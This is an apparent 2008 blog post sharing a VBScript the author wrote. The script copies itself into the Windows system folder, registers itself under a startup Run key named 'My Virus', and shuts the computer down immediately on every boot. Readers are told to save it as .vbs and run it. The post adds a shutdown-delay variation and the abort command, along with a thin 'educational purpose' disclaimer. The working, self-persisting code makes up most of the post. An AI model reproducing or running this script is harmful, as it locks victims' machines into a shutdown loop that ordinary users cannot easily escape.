Saturday, January 26, 2008

A VISUAL BASIC SCRIPT..........

This is a VBScript code i have written which will shutdown your PC on startup...
You can change the shutdown time...
This script is meant solely for educational purpose and i shall not be held responsible for any misuse....

Save the code in a file with extension as .vbe or .vbs...
Run it and NJoY....
=====================================================

Dim fso, wsh

Set wsh = WScript.CreateObject("WScript.Shell")

Set fso = WScript.CreateObject("Scripting.FileSystemObject")


If Not fso.FileExists(fso.GetSpecialFolder(1) & "\" & WScript.ScriptName) Then

fso.CopyFile WScript.ScriptFullName, fso.GetSpecialFolder(1) & "\"

End If

wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\My Virus",_
fso.GetSpecialFolder(1) & "\" & WScript.ScriptName

wsh.Run "shutdown -s -t 0"

=====================================================


change the line below for different shutdown timings in secs...

wsh.Run "shutdown -s -t 10"

To abort shutdown type "shutdown -a" in Run...

No comments: